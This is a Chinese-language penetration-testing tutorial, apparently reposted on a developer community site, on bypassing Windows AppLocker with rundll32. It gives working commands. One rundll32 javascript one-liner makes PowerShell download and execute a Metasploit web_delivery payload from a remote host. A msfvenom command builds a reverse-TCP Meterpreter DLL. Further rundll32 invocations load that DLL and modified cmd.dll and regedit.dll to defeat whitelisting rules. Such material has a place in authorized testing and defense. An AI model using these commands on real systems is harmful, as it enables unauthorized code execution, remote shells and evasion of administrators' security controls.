绕过AppLocker系列之Rundll32的利用-阿里云开发者社区

开发者社区> 开发与运维> 正文

绕过AppLocker系列之Rundll32的利用

简介: 本文讲的是绕过AppLocker系列之Rundll32的利用,Rundll32是一个可以执行DLL文件内的代码的Microsoft二进制文件。由于此实用程序是Windows操作系统的一部分,因此可以将其用作一种绕过AppLocker规则或软件限制策略的方法。
本文讲的是绕过AppLocker系列之Rundll32的利用Rundll32是一个可以执行DLL文件内的代码的Microsoft二进制文件。由于此实用程序是Windows操作系统的一部分,因此可以将其用作一种绕过AppLocker规则或软件限制策略的方法。所以如果系统环境没有正确的锁定某些设置,那么用户就可以使用这个二进制文件做一些事情,他们也可以编写自己的DLL,来绕过任何限制或执行恶意的JavaScript代码。

Rundll32 – JavaScript

可以使用rundll32这个二进制文件来执行已经嵌入有效载荷并且托管在Web服务器上的JavaScript代码。Metasploit的Web传递模块可以快速的创建一个将用于特定有效负载(Python,PHP或PowerShell)的Web服务器。在本文的演示中,有效负载用的是PowerShell。

exploit/multi/script/web_delivery

绕过AppLocker系列之Rundll32的利用

Web Delivery模块配置

需要从cmd中执行以下命令。如果命令提示符被锁定而不能运行,可以使用下面描述的方法解锁cmd。

rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

绕过AppLocker系列之Rundll32的利用

Rundll32 执行 JavaScript代码

Rundll32将执行任意代码,并返回一个Meterpreter会话。这样做的好处是,不需要在磁盘上写文件就可以绕过AppLocker规则。但是PowerShell要允许在系统上运行才行。

绕过AppLocker系列之Rundll32的利用

Web Delivery有效载荷

Rundll32 – Meterpreter

可以使用Metasploit 的Msfvenom来创建一个包含meterpreter有效载荷的自定义DLL文件:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.3 LPORT=44444 -f dll -o pentestlab.dll

绕过AppLocker系列之Rundll32的利用

Msfvenom DLL生成

然后,rundll32实用程序就可以加载并执行pentestlab.dll文件中的有效载荷。

rundll32 shell32.dll,Control_RunDLL C:Userspentestlab.dll

绕过AppLocker系列之Rundll32的利用

利用Rundll32执行DLL绕过AppLocker  

获取到一个meterpreter 会话。

绕过AppLocker系列之Rundll32的利用

Rundll32 返回的 Meterpreter会话

运行cmd

在通过AppLocker规则锁定禁止cmd运行的Windows系统中,可以通过将恶意DLL文件注入到合法的进程来绕过此限制。Didier Stevens通过使用从ReactOS开源项目获得的变种,以DLL文件的形式发布了一个修改版本的cmd

绕过AppLocker系列之Rundll32的利用

AppLocker禁止cmd运行

由于rundll32是受信任的Microsoft实用程序,因此可以将cmd.dll加载到进程中,执行DLL中的代码,因此这样就可以绕过AppLocker规则并打开cmd。以下两个命令可以在Windows中执行:

rundll32 C:cmd.dll,EntryPoint rundll32 shell32.dll,Control_RunDLL C:cmd.dll

绕过AppLocker系列之Rundll32的利用

Rundll32 – DLL加载入口点函数

绕过AppLocker系列之Rundll32的利用

Rundll32 – DLL加载Control Run函数

代码将通过rundll32执行,之后会打开一个cmd窗口。

绕过AppLocker系列之Rundll32的利用

Rundll32 –绕过cmd禁止运行的限制

注册表

相同的绕过技术也可以应用在注册表被锁定禁止运行的系统中。Didier Stevens还发布了一个修改版本的注册表编辑器,形式也是一个DLL文件,和上面提到的修改过的cmd是一样的。

绕过AppLocker系列之Rundll32的利用

AppLocker – 注册表被阻止运行

以下命令可以通过rundll32加载并运行regedit.dll,可以绕过AppLocker规则。

rundll32 C:regedit.dll,EntryPoint rundll32 shell32.dll,Control_RunDLL C:regedit.dll

绕过AppLocker系列之Rundll32的利用

AppLocker – Rundll32运行注册表程序

绕过AppLocker系列之Rundll32的利用

绕过AppLocker – 打开了注册表程序

绕过AppLocker系列之Rundll32的利用

绕过AppLocker –通过 Rundll32解锁运行注册表程序




原文发布时间为:2017年6月27日
本文作者:丝绸之路
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
原文链接

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

分享:
开发与运维
使用钉钉扫一扫加入圈子
+ 订阅

集结各类场景实战经验,助你开发运维畅行无忧

其他文章